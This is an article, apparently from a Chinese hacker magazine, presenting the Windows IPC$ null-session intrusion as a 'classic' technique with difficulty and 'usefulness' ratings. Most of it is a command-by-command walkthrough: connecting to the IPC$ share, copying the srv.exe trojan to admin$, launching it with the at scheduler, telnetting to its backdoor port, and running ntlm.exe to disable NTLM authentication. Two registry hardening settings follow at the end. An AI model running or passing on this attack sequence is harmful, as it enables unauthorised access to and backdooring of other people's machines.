黑客在线经典入侵技术总结（第一部分）

简介

在网络攻防的实战演练中，有几类漏洞入侵手法几乎成了业界公认的经典教程，对应的修补措施也相对固定。今天我们就将这些常见的入侵路径与防御策略系统梳理一遍，供安全从业者参考。

黑客群体中流传着一句话：没有攻不破的城墙，只有未被发现的缺口。每年都会涌现一批新的攻击手法，但有些老漏洞却始终生命力顽强——它们不是技术多高明，而是因为太“便利”了，便利到管理员自己都忘了关闭。

一、永恒的IPC$

入侵难度：★★★（中等）
存在范围：★★★（中等）
危险指数：★★★★★（很高）
使用几率：★★★★★（很高）
好用指数：75%

编辑部评审意见：
安全领域向来是时效性极强的领域。两年前百试不爽的.printer溢出和unicode漏洞，到今年几乎已经绝迹。但IPC$攻击却是个例外——它常被提及，也常被利用，堪称漏洞利用界的“常青树”。

什么是IPC$漏洞

IPC$是共享“命名管道”的资源，主要用于程序间通信，在远程管理计算机和查看共享资源时使用。默认情况下，利用IPC$可以与目标主机建立一个空连接（无需用户名与密码），通过这个空连接，就能获取目标主机上的用户列表。

严格来说，IPC$并非真正意义上的安全漏洞，它是为了方便管理员远程管理而开放的远程网络登录功能，同时还会打开默认共享——所有逻辑盘（c$、d$、e$……）以及系统目录（winnt或windows下的admin$）。初衷是好的，但后果往往不受控制。别有用心者会利用IPC$访问共享资源、导出用户列表，再配合字典工具进行密码探测，试图获取更高权限。

攻击工具

扫描软件：流光4.71
木马软件：srv.exe

简单攻击步骤

1. 打开流光4.71
2. 进行扫描前的设置
3. 假设扫出127.0.0.1存在IPC$漏洞，执行以下操作：

C:\>net use \\127.0.0.1\IPC$ "" /user:"administrators" （用流光扫到的密码）
C:\>copy srv.exe \\127.0.0.1\admin$ （复制srv.exe上去，流光Tools目录下有）
出现提示：c:\winnt\system32\ 已复制1个文件

C:\>net time \\127.0.0.1 （查询对方计算机时间，注意转换为24小时制）
C:\>at \\127.0.0.1 11:05 srv.exe （用at命令启动srv.exe）
C:\>net time \\127.0.0.1 （再确认时间是否足够）
C:\>telnet 127.0.0.1 99 （telnet连接，端口99对应srv.exe）

另开一个DOS窗口：
C:\>copy ntlm.exe \\127.0.0.1\admin$ （把ntlm.exe上传到主机，流光Tools目录有）
C:\WINNT\system32>ntlm （运行，破坏对方机器的ntlm验证模式，使telnet直连可用）
C:\WINNT\system32>net start telnet （启动telnet服务）
Telnet服务器正在启动... Telnet服务器已经启动成功。

此时可直接使用telnet 127.0.0.1连接对方。至此入侵结束。

如何防御

1. 禁止建立空连接：
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]
RestrictAnonymous = DWORD:00000001

2. 禁止管理共享：
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]
AutoShareServer = DWORD:00000000